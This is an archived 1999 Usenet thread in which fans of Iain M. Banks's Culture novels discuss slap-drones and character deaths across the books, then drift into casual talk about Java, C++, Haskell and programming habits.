Slap-drones
Ross Burton
in a Culture novel:
(pages 225-6 in the newer paperback, BTW)
[talking about the lack of law in the Culture]
"But what if someone kills someone else?"
"They're slap-droned"
"Ah! This sounds more like it. What does the drone do?"
"Follows you around and makes sure you never do it again."
"Is that all?"
"What more do you want? Social death... you don't get invited to too
many parties"
"Ah, but in your Culture, can't you gatecrush?"
"I suppose so, but nobody would talk to you"
Pretty funny, and it sounds like that to Guregh it's a pretty severe
sentence.
Do you think the drone would follow you _everywhere_ - such as across
the galaxy? Do they tell people what you did? What if Mawhrin-Skel
(well, it's personality) was your slap-drone?! I think it would take
great pleasure in telling people, probably projecting images of the
crime in great detail, slow motion if gory, and generally going the
distance.
Now, that _does_ sound cruel.
Just something I though of,
Thanks for listening!
Ross
Hofstadter's Law: It always takes longer than you expect, even when you take Hofstadter's Law into account.
Slipstream: http://come.to/slipstream
The Culture: http://come.to/theculture
Email: rossyb at email dotty com
ICQ: 5167146
Loznik
suggested:
As I indicated on previous occasion, social standing in The Culture is
not a matter of Life and Death - it's *far* more serious than that.
Loznik
SPECIAL OFFER: A Wee Papa Girl for only £5.95 plus 5 Wee Papa Girl Rappers!
RTR
most cases, just automated systems on the order of a knife missile
(smart enough to keep you from doing any harm to anyone again, but not
self-aware). Otherwise, what drone would want to do that job for who
knows how long (lifespan being a couple centuries, give or take)?
Of course, I'm sure there'd be a few that'd do it for a lark, but only
if the 'criminal' in question was interesting enough, and even then
probably not for their full life span. I can distinctly imagine Skaffen
Amitskaw (may be misspelled) doing it for a while...perhaps teasing the
murderer by steering him toward violent situations, giving him
opportunities to try it again, just to 'slap' him down.
RTR
Loznik <loz...@garbage.bigfoot.com> wrote in message
news:36cb2d2a...@news.globalnet.co.uk...
Matthew Stanfield
> I had the impression that the 'slap-drones' weren't fully sentient in
> most cases, just automated systems on the order of a knife missile
> (smart enough to keep you from doing any harm to anyone again, but not
> self-aware).
This was my general impression too, although I don't know about the
self-aware bit - my guess is that you say self-aware but probably mean
'intelligent but not smart enough to warrant citizenship'! ...or something
like that because *self-aware* is a tricky one...
The thread has so far failed to mention just how hard it would be to kill
a member of The Culture, given that everyone has a communicator and the
response time is so fast that drones can be dispatched to catch you even
if you fell off a cliff (mentioned in TPOG I think), even Zakalwe's
bodiless head is rescued!
In fact the only member of The Culture that I can think of that dies in
any of the books is The Ship that Horza kills in CP to escape from the
Man-eaters island and even that ship had left the Culture only to be
recalled to help with the evacuation of the Orbital. We are also told in
UOW that the tentacled female in Special Circumstances (that Zakalwe meets
on his 1st journey on a GSV) later dies on a SC mission but even she is
not a *proper* member of The Culture having been born'n'bred on her native
planet and is only working for SC to repay a debt that her people owe to
The Culture.
Even the drone in Excession that fires the warning shots at the Affront
ship is a member of the Elench. OOps I just remembered the
Super-Anti-Social Culture man who lives on the asteroid where the ROU's
are *stored* in Excession. He gets wasted by the Affront. Do any Culture
ships die in Excession, I can't remember? Is there also a Mind that gets
wasted on that same asteroid?
Can anyone think of any other Culture murders? ...and genocide by the
Idirians doesn't count as murder for this question as that's too easy!
..matthew
--
##### # ### ---------------------------------------------+
##### ### ##### Matthew Stanfield |
##### ##### ##### mailto:Matthew....@Dial.Pipex.Com |
##### ####### ### ---------------------------------------------+
Ross Burton
themselves Matthew Stanfield <Matthew....@Dial.Pipex.com>
scribbled:
>The thread has so far failed to mention just how hard it would be to kill
>a member of The Culture, given that everyone has a communicator and the
>response time is so fast that drones can be dispatched to catch you even
>if you fell off a cliff (mentioned in TPOG I think), even Zakalwe's
>bodiless head is rescued!
On anything but a ship it is possible to leave your terminal at home
and be seperated. Then if you fall/trip/get brutally murdered I
suppose you would die.
>Do any Culture
>ships die in Excession, I can't remember? Is there also a Mind that gets
>wasted on that same asteroid?
Probably and probably - if the battle was totally one-sided I'm sure
someone would have noticed.
>Can anyone think of any other Culture murders? ...and genocide by the
>Idirians doesn't count as murder for this question as that's too easy!
Not off the top of my head, but it might make a good book though -
Complicity cum Culture...
Oh BTW, where is the message you replied to? My news server hasn't
got it yet...
David Mitchell
writes
>I had the impression that the 'slap-drones' weren't fully sentient in
>most cases, just automated systems on the order of a knife missile
>(smart enough to keep you from doing any harm to anyone again, but not
>knows how long (lifespan being a couple centuries, give or take)?
>
C'mon, you're a drone - you can have 99.99999% of your attention in the
land of IF, and still have real-time monitoring of your charge.
--
==============================================================================
==[ David Mitchell ]=========================================
==[ da...@edenroad.demon.co.uk ]=========================================
==============================================================================
David Mitchell
<Matthew....@Dial.Pipex.com> writes
>Excession, Player and Phlebas spoilers below!
>
>ship is a member of the Elench. OOps I just remembered the
>Super-Anti-Social Culture man who lives on the asteroid where the ROU's
>ships die in Excession, I can't remember? Is there also a Mind that gets
>wasted on that same asteroid?
>
The chap's mind is recorded, and he's given a new body later (so that
doesn't count).
>Can anyone think of any other Culture murders? ...and genocide by the
>Idirians doesn't count as murder for this question as that's too easy!
>
The dude in Excession nearly died when he was a female and his partner
gave him an involuntary abortion.
I get the impression that she would have died if she hadn't managed to
get medical aid.
David Navarro
>
> In article <jfVy2.73$TO4...@news.flash.net>, RTR <rem...@flash.net>
> writes
> >I had the impression that the 'slap-drones' weren't fully sentient in
> >most cases, just automated systems on the order of a knife missile
> >(smart enough to keep you from doing any harm to anyone again, but not
> >self-aware). Otherwise, what drone would want to do that job for who
> >knows how long (lifespan being a couple centuries, give or take)?
> >
>
> C'mon, you're a drone - you can have 99.99999% of your attention in the
> land of IF, and still have real-time monitoring of your charge.
>
Can drones access the land of IF? I thought it was for intellects like
ship Minds...
--
___________________________________________________
David Navarro http://www.alcaudon.com
___________________________________________________
In the beginning there was nothing, which exploded.
David Navarro
>
> In article <36CC613C...@Dial.Pipex.com>, Matthew Stanfield
> <Matthew....@Dial.Pipex.com> writes
> >Excession, Player and Phlebas spoilers below!
> >
> >Even the drone in Excession that fires the warning shots at the Affront
> >ship is a member of the Elench. OOps I just remembered the
> >Super-Anti-Social Culture man who lives on the asteroid where the ROU's
> >are *stored* in Excession. He gets wasted by the Affront. Do any Culture
> >ships die in Excession, I can't remember? Is there also a Mind that gets
> >wasted on that same asteroid?
> >
>
> The chap's mind is recorded, and he's given a new body later (so that
> doesn't count).
>
> >Can anyone think of any other Culture murders? ...and genocide by the
> >Idirians doesn't count as murder for this question as that's too easy!
> >
>
> The dude in Excession nearly died when he was a female and his partner
> gave him an involuntary abortion.
> I get the impression that she would have died if she hadn't managed to
> get medical aid.
And of course there is "A Gift from the Culture"... But it could be
argued the individual in question is not Culture, but ex-Culture.
David Navarro
>
> >Do any Culture
> >ships die in Excession, I can't remember? Is there also a Mind that gets
> >wasted on that same asteroid?
>
> Probably and probably - if the battle was totally one-sided I'm sure
> someone would have noticed.
The Asteroid Mind gets killed, as far as I remember. As for the battle
itself, it was Culture-vs-Culture, but only Affront-led ships get
destroyed, I think.
There is also the question of the Module mind, who resorts to suicide,
as does the small Elench drone at the beginning.
Hunter
RTR wrote in message ...
>I had the impression that the 'slap-drones' weren't fully sentient in
>most cases, just automated systems on the order of a knife missile
>(smart enough to keep you from doing any harm to anyone again, but not
>self-aware). Otherwise, what drone would want to do that job for who
>knows how long (lifespan being a couple centuries, give or take)?
>
>if the 'criminal' in question was interesting enough, and even then
>probably not for their full life span. I can distinctly imagine Skaffen
>Amitskaw (may be misspelled) doing it for a while...perhaps teasing the
>murderer by steering him toward violent situations, giving him
>opportunities to try it again, just to 'slap' him down.
>
>RTR
I would tend to agree. I doubt an SC drone like Mawhrin-Skel (misspelled?),
with its advanced sensors, effectors, and intellect - all of which would
simply be wasted on such a simple task - would ever be selected for slapping
servcice. I think something on the order of a lightly armed scout missile
that can only "slap" [stop] offenders with its fields would be much more
appropriate. Remember, in the Culture, there's a direct proportional
relationship between the depth of your mental abilities and the banality of
your work (if any); those mental abilities are supposed to be greater than
the boredom of the work by a coeffeficient of oh, say, 2 billion?
By the way, I think drones have something of an indefinite lifespan, as I
remember Churt Lyne (Excession) was mentioned as logging nearly a millenium
of faithful and dedicated service. Whatever...
no spamming, now!
CM Lynas
Chris Lynas
http://members.tripod.com/~excession
Wouldn't dream of it;)
Quite agree, even an individual that the culture regards as dangerous
and possibly deranged like Cheradenine Zakalwe only rated a kniffe
missile, albeit a pretty serious one.
One point, if you chose to leave the culture, would it follow you? I
think it probably would given the culture's liking for spreading
themselves around, could cause problems with customs on most planets I'd
imagine ('Would you mind opening your apocalyptically powerful minature
offensive device for me Sir?').
Chris
Matthew Stanfield
> > land of IF, and still have real-time monitoring of your charge.
> >
>
> Can drones access the land of IF? I thought it was for intellects like
> ship Minds...
>
Yes - just Minds.
Matthew Stanfield
> and possibly deranged like Cheradenine Zakalwe only rated a kniffe
> missile, albeit a pretty serious one.
But Zakalwe was underestimated as he *killed* the knife missile. ISTR Sma
being pretty impressed that he had managed to do this!
..matthew
Matthew Stanfield
> and be seperated.
But they don't tend to do this, do they!? The young SC girl in CP is
thought to be very strange to want to climb mountains with no
communicator. In fact she only half believed when she broke her leg that
she was not being rescued so that the Minds/Drones could *prove* that she
was not being monitored when she had asked not to be.
..matthew
Matthew Stanfield
> >ship is a member of the Elench. OOps I just remembered the
> >Super-Anti-Social Culture man who lives on the asteroid where the ROU's
> >ships die in Excession, I can't remember? Is there also a Mind that gets
> >wasted on that same asteroid?
> >
>
> doesn't count).
Really I don't remember that! Are you sure?
..matthew
Matthew Stanfield
> argued the individual in question is not Culture, but ex-Culture.
Who dies in that? I can't remember much about it - it's been so long -
except that there's a Culture gun involved in a non-Culture world.
..matthew
Matthew Stanfield
> itself, it was Culture-vs-Culture, but only Affront-led ships get
> destroyed, I think.
>
> There is also the question of the Module mind, who resorts to suicide,
> as does the small Elench drone at the beginning.
So the Asteroid Mind dies then does it - no mention of his Mind State
surviving is there? Oh and well remembered about the Module suicide in
TPOG, I'd forgotten about that one.
..matthew
David Mitchell
<dna...@anim.dreamworks.com> writes
>David Mitchell wrote:
>>
>> In article <jfVy2.73$TO4...@news.flash.net>, RTR <rem...@flash.net>
>> writes
>> >most cases, just automated systems on the order of a knife missile
>> >(smart enough to keep you from doing any harm to anyone again, but not
>> >self-aware). Otherwise, what drone would want to do that job for who
>> >knows how long (lifespan being a couple centuries, give or take)?
>> >
>>
Don't see why not...
IMB doesn't make it clear what IF is (smart move); but some drones have
tremendous (by today's standards) processing capacity.
RTR
*I* was definitely impressed...trapping it in an MRI's rapidly-varying
magentic field to rip it asunder...NEAT!
RTR
Matthew Stanfield <Matthew....@Dial.Pipex.com> wrote in message
news:36CD7479...@Dial.Pipex.com...
LazyGun
<Matthew....@Dial.Pipex.com> wrote:
>So the Asteroid Mind dies then does it - no mention of his Mind State
>surviving is there? Oh and well remembered about the Module suicide in
>TPOG, I'd forgotten about that one.
In 'Excession', surely?
LazyGun
<Matthew....@Dial.Pipex.com> wrote:
>Really I don't remember that! Are you sure?
He sits chatting with them at the end.
David Navarro
>
> > The Asteroid Mind gets killed, as far as I remember. As for the battle
> > itself, it was Culture-vs-Culture, but only Affront-led ships get
> > destroyed, I think.
> >
> > There is also the question of the Module mind, who resorts to suicide,
> > as does the small Elench drone at the beginning.
>
> surviving is there? Oh and well remembered about the Module suicide in
> TPOG, I'd forgotten about that one.
No, that was in Excession... :)
David Navarro
Well, he kills a whole mess of people... (I may have misunderstood
what the thread is about.)
David Mitchell
<Matthew....@Dial.Pipex.com> writes
>
Yep!
(If you *still* don't believe me I'll go and look it up for you (but the
book's downstairs and I've won awards for my laziness[*])).
--
==============================================================================
==[ David Mitchell ]=========================================
==[ da...@edenroad.demon.co.uk ]=========================================
==============================================================================
[*] Which I didn't collect, naturally ;-)
Paul Andrew King
Matthew Stanfield <Matthew....@Dial.Pipex.com> wrote:
>> The chap's mind is recorded, and he's given a new body later (so that
>> doesn't count).
>
>Really I don't remember that! Are you sure?
His mind *was* recorded, by _Attitude Adjuster_ - and rescued by _Killing
Time_. He ends up on _Sleeper Service_
--
Paul K.
Paul Andrew King
Matthew Stanfield <Matthew....@Dial.Pipex.com> wrote:
>So the Asteroid Mind dies then does it - no mention of his Mind State
>surviving is there?
No. _Attitude Adjuster_ and some of the ships from Pittance die, too.
_Not Invented Here_ kills itself.
--
Paul K.
Ross Burton
themselves CM Lynas <cl5...@fen.bris.ac.uk> scribbled:
>One point, if you chose to leave the culture, would it follow you? I
>think it probably would given the culture's liking for spreading
>themselves around, could cause problems with customs on most planets I'd
>imagine ('Would you mind opening your apocalyptically powerful minature
>offensive device for me Sir?').
Or "is that insanely powerful drone with you, sir?"
As the Culture seem to be fair (well, as the scale of normal people),
I'd think that if you had been "good" for long enough, they would let
you go free, to start a new life.
However, if you got slapped then ran, I'm sure it would follow,
possibly with a full orchestra to announce your presence...
Ross Burton
themselves Matthew Stanfield <Matthew....@Dial.Pipex.com>
scribbled:
>> On anything but a ship it is possible to leave your terminal at home
>> and be seperated.
>But they don't tend to do this, do they!?
I suppose if you wanted to have some real-world shit in whatever you
were doing (such as climbing mountains, might get pretty boring if you
knew that if you fell you would be caught), you would leave it at
home. That way there is real fear and andrenaline, and ultimately
more satisfying that going with the full backup of nearby drones.
That might not have made much sense, but my brain has been fried by
programming all day - sorry!
Matthew Stanfield
> > TPOG, I'd forgotten about that one.
David Navarro wrote:
> No, that was in Excession... :)
LazyGun wrote:
> In 'Excession', surely?
The Module that commits suicide that I'm thinking of is in TPOG - Gurgeu
has gone off to the Fire planet and later the Module he'd been living on
while playing the Game (Aziz - is that right??) gets besieged by the local
population. The Module commits suicide rather than be boarded - in typical
Naval fashion!
What's the Module that you guys are referring to in Excession? I can't
remember!
Or am a going barmy.....
..matthew
--
##### # ### ---------------------------------------------+
##### ### ##### Matthew Stanfield |
##### ##### ##### mailto:Matthew....@Dial.Pipex.Com |
##### ####### ### ---------------------------------------------+
Keith Rogers
the limiting factor. It is Genar Hofoens module, Scopel-Afranqui that
suicides on the Affronter habitat.
Grant
>
>Even the drone in Excession that fires the warning shots at the Affront
>ship is a member of the Elench. OOps I just remembered the
>Super-Anti-Social Culture man who lives on the asteroid where the ROU's
>are *stored* in Excession. He gets wasted by the Affront. Do any Culture
>ships die in Excession, I can't remember? Is there also a Mind that gets
>wasted on that same asteroid?
yes, the Mind is killed by the Attitude Adjuster, who later attempts
suicide, and has all but achieved this when the Killing Time puts it out of
its misery. Several other Minds in the 'Interesting times' group also
commit suicide!! Sorry to seem excited by that, but it's really
interesting.
>Can anyone think of any other Culture murders? ...and genocide by the
>Idirians doesn't count as murder for this question as that's too easy!
See above!!
Grant
------------------------------------------
xROU This May Sting a Bit
Matthew Stanfield
> the limiting factor. It is Genar Hofoens module, Scopel-Afranqui that
> suicides on the Affronter habitat.
Too much Culture has blurred the boundaries between the books!
Thanks,
..matthew
Paul Andrew King
"Grant" <g.ha...@virgin.net> wrote:
>yes, the Mind is killed by the Attitude Adjuster, who later attempts
>suicide, and has all but achieved this when the Killing Time puts it out of
>its misery.
It's ambiguous, but it seems to me that _Attitude Adjuster_'s state of mind
was induced by _Killing Time_'s effectors. The timing is right, and the
disappearance of Gestra Ishmethits mind-state fits.
--
Paul K.
Matthew Stanfield
> >suicide, and has all but achieved this when the Killing Time puts it out of
> >its misery.
>
> It's ambiguous, but it seems to me that _Attitude Adjuster_'s state of mind
> was induced by _Killing Time_'s effectors. The timing is right, and the
> disappearance of Gestra Ishmethits mind-state fits.
Remind me who is Gestra Ishmethits? (The anti-social geezer?)
..matthew
Paul Parker
David Mitchell <da...@edenroad.demon.co.uk> wrote in article
<vJkszQAH...@edenroad.demon.co.uk>...
> The dude in Excession nearly died when he was a female and his partner
> gave him an involuntary abortion.
> I get the impression that she would have died if she hadn't managed to
> get medical aid.
So does that make the Sleeper Service the biggest Slap Drone around? 8-)
--
Paul Parker
CM Lynas
Chris Lynas
http://members.tripod.com/~excession
On Fri, 19 Feb 1999, Ross Burton wrote:
> On Fri, 19 Feb 1999 14:30:50 +0000, a mysterious wanderer calling
> themselves Matthew Stanfield <Matthew....@Dial.Pipex.com>
> scribbled:
>
> >> On anything but a ship it is possible to leave your terminal at home
> >> and be seperated.
> >But they don't tend to do this, do they!?
>
> I suppose if you wanted to have some real-world shit in whatever you
> were doing (such as climbing mountains, might get pretty boring if you
> knew that if you fell you would be caught), you would leave it at
> home. That way there is real fear and andrenaline, and ultimately
> more satisfying that going with the full backup of nearby drones.
Speaking as one not keen on heights, I have always found mountain
climbing pretty 'exciting' with ropes and harnesses when i've been in no
danger of falling, or would they have genofixed that out? Not a
survival trait surely? Would they breed in a desire to do stupidly
dangerous things wehn there's no need?
Ditto the below for me ;)
Matthew Stanfield
>
> Ditto the below for me ;)
>
> > That might not have made much sense, but my brain has been fried by
> > programming all day - sorry!
> >
> > Ross
dOUBLE dITTO FOR ME - oops see what I mean! How many of us regulars in
a.b.i-b are programmers then?!! ..and how many of us post here when we
should be deciding on what to name a new class...
David Mitchell
<pa...@nospam.demon.co.uk> writes
>>suicide, and has all but achieved this when the Killing Time puts it out of
>>its misery.
>
>It's ambiguous, but it seems to me that _Attitude Adjuster_'s state of mind
>was induced by _Killing Time_'s effectors. The timing is right, and the
>disappearance of Gestra Ishmethits mind-state fits.
>
Yep, I'd agree.
Actually I'm surprised to hear an alternative explanation.
The thoughts running through the victim's mind seem exactly what one
would expect to result from an aggressive effectorisation (if that isn't
too horrid a neologism).
How else would you make it self-destruct? (surely much neater than a
frontal assault ?)
Ross Burton
>> Ditto the below for me ;)
>dOUBLE dITTO FOR ME - oops see what I mean! How many of us regulars in
>a.b.i-b are programmers then?!! ..and how many of us post here when we
>should be deciding on what to name a new class...
What name did it get in the end?
Strict rule: no browsing while surfing. I used to do that to keep
myself entertained while compiling, but it's bad.
Any other programmers out there? Just post and say hi!
What languages do you write? I can write basic stuff in C++, but
prefer Java (_not_ applets though, they really suck)
Watch out for Java, stuff is happening to really make it fast, but I
can't say more (just signed the NDA!)
You'll like this then:
PROGRAM: n. a magic spell cast over a computer allowing it to turn
one's input into error messages. v.t. to engage in a pastime similar
to banging one's head against a wall, but with fewer opportunities for
reward.
Anyway, seeya,
David Navarro
>
> CM Lynas wrote:
> >
> > Ditto the below for me ;)
> >
> > > programming all day - sorry!
> > >
> > > Ross
>
> a.b.i-b are programmers then?!! ..and how many of us post here when we
> should be deciding on what to name a new class...
Well, you got "plate class", "continent class" etc... :P
Doktor
Ross Burton <ros...@nojam.com> wrote in message
news:36d1a85f...@news.dabsol.net...
>On Mon, 22 Feb 1999 17:29:53 +0000, a mysterious wanderer calling
>themselves Matthew Stanfield <Matthew....@Dial.Pipex.com>
>scribbled:
>
>>a.b.i-b are programmers then?!! ..and how many of us post here when we
>>should be deciding on what to name a new class...
>
>
>Strict rule: no browsing while surfing. I used to do that to keep
>myself entertained while compiling, but it's bad.
>
I would never do such a thing, honest! ;) Hehe. That would be nearly as bad
as posting to usenet when I should be working.... :)
Actually I find the web (and news for that matter) to be an invaluable
resource for my work. If I ever want any technical information or other help
99% of the time I will get it online as opposed to from books or from the
other guys in my office. I have been known to do some pretty diverse stuff
in the course of my work, so I'm always having to learn new things and if I
wasn't online all day it would have cost me a fortune in books. I love
learning new stuff, I wouldn't have it any other way.
>Any other programmers out there? Just post and say hi!
Well, I'm here. I'm pretty sure you already know I'm a programmer, or do you
think of me as a web-designer?
Actually I have been programming since I was ten, far longer than I've been
working online.See, I persuaded my parents to get me a ZX81 although I had
never even heard of computer games and I had no idea what it might be used
for, it just looked, well, kind of interesting. It came with nothing except
a manual, so I worked my way through that. That's probably the last time I
read a complete manual in my whole career!
>What languages do you write? I can write basic stuff in C++, but
>prefer Java (_not_ applets though, they really suck)
I can program competently in C/++, Java, Object Pascal (Delphi), Javascript,
Perl, Haskell and of course, Basic, but I have come across and used a few
others now and again. I like Java too, although for various reasons I do not
use it as much as I would like.
>
>Watch out for Java, stuff is happening to really make it fast, but I
>can't say more (just signed the NDA!)
Sounds interesting. I think Java is great, but I wish the likes of Sun and
Microsoft would stop trying to keep it for themselves and turn the standard
over to an independent body. IMO that's the best thing that could happen to
Java, despite being (currently) kind of sluggish, I find it's the political
situation surrounding it which really holds back the good progress. I am
particularly disappointed with Sun who make out that Microsoft is so evil
trying to have Java for themselves when they essentially want the same
thing. They are not some kind of philanthropic institution working for the
good of humanity any more than Microsoft are. Anyway, rant over!
>You'll like this then:
>
>PROGRAM: n. a magic spell cast over a computer allowing it to turn
>one's input into error messages. v.t. to engage in a pastime similar
>to banging one's head against a wall, but with fewer opportunities for
>reward.
>
LoL! Hehe...
seeya,
d0ktor
Matthew Stanfield
> >a.b.i-b are programmers then?!! ..and how many of us post here when we
> >should be deciding on what to name a new class...
>
> What name did it get in the end?
Well to steal David's gag:
I like to think in terms of...
Rapid Offensive Unit - Torturer class.
but in reality...
General Contact Unit - Delinquent class!
Well really...
class UserList
{
public:
UserList();
~UserList();
void UserList::addUser(char *userName);
void UserList::writeAll(FILE *fpOut);
bool UserList::userNameInList(char *userName);
bool UserList::docInList(char *name, char *doc);
void UserList::addLogLine(char *user, char *date, char *doc);
void UserList::addDetails(char *name, char *date, char *doc);
UserLLPtr userPtr;
int numItems;
};
You asked for it!
> What languages do you write? I can write basic stuff in C++, but
> prefer Java (_not_ applets though, they really suck)
C++/C and an occasional dabble in Java (write once, debug many!).
> Watch out for Java, stuff is happening to really make it fast, but I
> can't say more (just signed the NDA!)
Is the NDA some kind of gagging order? What does it stand for? A US thing
per-chance? How fast, comparable to C++/C? Faster? A lot better that JIT?
This 'stuff' will it be happening soon or some time after Y2K has
destroyed life as we know it, Jim? Or can you really say sweet FA?
..matthew
Paul Andrew King
Matthew Stanfield <Matthew....@Dial.Pipex.com> wrote:
>>
>> It's ambiguous, but it seems to me that _Attitude Adjuster_'s state of mind
>> was induced by _Killing Time_'s effectors. The timing is right, and the
>> disappearance of Gestra Ishmethits mind-state fits.
>
>Remind me who is Gestra Ishmethits? (The anti-social geezer?)
Yes - the guy from Pittance.
--
Paul K.
Ross Burton
themselves "Doktor" <nos...@spam.me.not> scribbled:
>>Any other programmers out there? Just post and say hi!
>Well, I'm here. I'm pretty sure you already know I'm a programmer, or do you
>think of me as a web-designer?
Erm.. web designer who programs. But from the list below, they've
switched.
>I can program competently in C/++, Java, Object Pascal (Delphi), Javascript,
>Perl, Haskell and of course, Basic, but I have come across and used a few
>others now and again. I like Java too, although for various reasons I do not
>use it as much as I would like.
Haskell? That's a new one, what's it like then?
>Sounds interesting. I think Java is great, but I wish the likes of Sun and
>Microsoft would stop trying to keep it for themselves and turn the standard
>over to an independent body. IMO that's the best thing that could happen to
>Java, despite being (currently) kind of sluggish, I find it's the political
>situation surrounding it which really holds back the good progress. I am
>particularly disappointed with Sun who make out that Microsoft is so evil
>trying to have Java for themselves when they essentially want the same
>thing. They are not some kind of philanthropic institution working for the
>good of humanity any more than Microsoft are. Anyway, rant over!
MS just dropped Visual J++, and the latest Java release from IE5 and
WinCE. Maybe Win2000 too. :-( They are developing a Java lookalike
called COOL (C++ Object Orientated Language), C++ with easy OO, runs
on Win2000 only!
Ross.
Ross Burton
themselves Matthew Stanfield <Matthew....@Dial.Pipex.com>
scribbled:
>class UserList
[snip - argh!]
>};
>You asked for it!
Ermm, thanks? Was that Standard C++? Looked non-standard to me, but
then we were taught to hate pointers and C-strings with the same level
of hate and comtempt you normally reserve for facist scum, and worship
the STL.
"Pointers are evil" is an excellent quote from my lecturer..
>Is the NDA some kind of gagging order? What does it stand for? A US thing
>per-chance? How fast, comparable to C++/C? Faster? A lot better that JIT?
>This 'stuff' will it be happening soon or some time after Y2K has
>destroyed life as we know it, Jim? Or can you really say sweet FA?
A UK thing! Bloke who developed it has been using computers since the
very first "proper" ones. NDA: non-disclosure agreement, so yes, a
gagging order. What can I say? It's very small. Very fast. Orders
of magniture should be mentioned around those sentences. First beta
due _very_ soon.
Sorry, I really can't say much at all. Just wait...
But I get it soon. And yes, we can't wait!
Anyway, seeya,
Ross
chri...@my-dejanews.com
Matthew Stanfield <Matthew....@Dial.Pipex.com> wrote:
> CM Lynas wrote:
> >
> > Ditto the below for me ;)
> >
> > > programming all day - sorry!
> > >
> > > Ross
>
> a.b.i-b are programmers then?!! ..and how many of us post here when we
> should be deciding on what to name a new class...
>
Umm, I'm no steenking programmer, I'm a software consultant.
I should really be figuring out how to get oracle 8 to correctly
handle stored procedures&packages etc.
PL/SQL that worked fine when embedded in C won't fucking compile.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Matthew Stanfield
> Ermm, thanks? Was that Standard C++? Looked non-standard to me, but
Standard C/C++ -- also called 'get the program written ASAP and you're the
only person whose ever going to look at the source code'!
> "Pointers are evil" is an excellent quote from my lecturer..
Maybe he just didn't understand them! ;-)
> Sorry, I really can't say much at all. Just wait...
> But I get it soon. And yes, we can't wait!
Well how about mailing me when you are allowed to talk, I have several
friends who are already very interested - I mailed them to find out if
they'd heard anything on the grapevine...
Cheers,
..matthew
RTR
extensive) macro language counts.
I work for a company called Ansoft that makes electromagnetic analysis
(finite element method and method of moments) software. Work as an
'applications engineer' which means I'm considered an expert user and
interface with our developers a lot to suggest rework, but don't do the
down-and-dirty coding myself.
I can't even spell see much less Seeplusplus...
RTR
<chri...@my-dejanews.com> wrote in message
news:7atk6c$m3e$1...@nnrp1.dejanews.com...
Doktor
>On Mon, 22 Feb 1999 19:50:55 -0000, a mysterious wanderer calling
>themselves "Doktor" <nos...@spam.me.not> scribbled:
>
>>>Any other programmers out there? Just post and say hi!
>>Well, I'm here. I'm pretty sure you already know I'm a programmer, or do
you
>>think of me as a web-designer?
>
>Erm.. web designer who programs. But from the list below, they've
>switched.
That's how it's always been. I only really started thinking about network
technology after I read Neuromancer and it was still quite a few years after
that before I really developed the skill-set needed for internet work. I
used to be more interested in compiler design.
>
>>I can program competently in C/++, Java, Object Pascal (Delphi),
Javascript,
>>Perl, Haskell and of course, Basic, but I have come across and used a few
>>others now and again. I like Java too, although for various reasons I do
not
>>use it as much as I would like.
>
>Haskell? That's a new one, what's it like then?
It's a lazy finctional language. It's just maturing from an experimental
language into a true general purpose development tool. Microsoft seem to
have developed a policy of employing people from the Haskell community at MS
Research in Cambridge. It's incredibly powerful - functions are first-class
citizens so you can pass them as arguments in the same way as data and
compose them into ever more powerful configurations. Typically a Haskell
program will be orders of magnitude smaller than the equivalent written in
C/++.
>
>MS just dropped Visual J++, and the latest Java release from IE5 and
>WinCE. Maybe Win2000 too. :-( They are developing a Java lookalike
>called COOL (C++ Object Orientated Language), C++ with easy OO, runs
>on Win2000 only!
Ya, it's cool except for the fact that it only runs on Windows. It wraps up
COM into the language so it's transparent. COM is great, it allows for
dynamic binding of objects, so in theory you can write an application which
can use classes it has never seen before. It should allow the OO paradigm to
finally fulfill it's promises of truly modular programs. It's just a pity
that the underlying OS still isn't object oriented.
Pity about J++, I think that's even more reason Java should be an
independent standard. It still has a large established base of users, I
don't think it will die easily, but I do think Sun will only make things
worse if they don't loosen up a lot.
d0k
Andrew Rae
> MS just dropped Visual J++, and the latest Java release from IE5 and
> WinCE. Maybe Win2000 too. :-( They are developing a Java lookalike
> called COOL (C++ Object Orientated Language), C++ with easy OO, runs
> on Win2000 only!
Do you have any proof of this, it sounds like a chinese whispered
version of what I understand the situation to be, but since everything
moves at internet speed these days my understanding could now be out of
date...
As I understand it, as of two friday's ago MS had to stop shipping J++
and any other products with their java implementation in it, until they
brought it in to line with the license - they estimate this to take them
up to 12 weeks.
COOL is vaporware which currently seems to be as you describe it (and
intended to make it easier to access COM+ (more vaporware)), I have
heard nothing of it only running on Win2000, maybe that will be in the
OS, other OS's needing patches/extra software, a la DCOM on '95.
ob.IMB I haven't ever got to the end of Feersum Endjinn
cheers,
andy
Ross Burton
themselves "Doktor" <nos...@spam.me.not> scribbled:
{Haskell stuff]
Sounds pretty cool. Might have to look at it sometime
>Ya, it's cool except for the fact that it only runs on Windows. It wraps up
>COM into the language so it's transparent. COM is great, it allows for
>dynamic binding of objects, so in theory you can write an application which
>can use classes it has never seen before. It should allow the OO paradigm to
>finally fulfill it's promises of truly modular programs. It's just a pity
>that the underlying OS still isn't object oriented.
Does sound like Java!
Ross Burton
themselves Matthew Stanfield <Matthew....@Dial.Pipex.com>
scribbled:
>Standard C/C++ -- also called 'get the program written ASAP and you're the
>only person whose ever going to look at the source code'!
LOL. Distinct lack of docs and comments in the source to then?
>> "Pointers are evil" is an excellent quote from my lecturer..
>Maybe he just didn't understand them! ;-)
No. Actually he is writing a parallel version of C++, and wants to
write Adobe FrameMaker for Linux... Serious nutter, and a great bloke!
>
>Well how about mailing me when you are allowed to talk, I have several
>friends who are already very interested - I mailed them to find out if
>they'd heard anything on the grapevine...
Sure, but if you have heard much they in should be very sketchy.
Hint: there was a news article in PC Pro last year about it, but
didn't mention Java as such. Just look for "new way of thinking".
Matthew Stanfield
> >only person whose ever going to look at the source code'!
>
> LOL. Distinct lack of docs and comments in the source to then?
Lots of comments - luv them.
> Sure, but if you have heard much they in should be very sketchy.
> Hint: there was a news article in PC Pro last year about it, but
> didn't mention Java as such. Just look for "new way of thinking".
Exhaustive search coming up...
..matthew
Ross Burton
>Lots of comments - luv them.
You're a sick, sick man.
Aren't comments just a pain to write? The odd line here or there, OK.
But full docs for each function and class? YUCK.
Maybe I'm just really lazy...
Matthew Stanfield
> But full docs for each function and class? YUCK.
>
> Maybe I'm just really lazy...
Read Code Complete!
>> Sure, but if you have heard much they in should be very sketchy.
>> Hint: there was a news article in PC Pro last year about it, but
>> didn't mention Java as such. Just look for "new way of thinking".
> Exhaustive search coming up...
Oh dear only about 200 matches for "new way of thinking" in PC Pro for the
last 180 days!
..matthew
CM Lynas
Chris Lynas
http://members.tripod.com/~excession
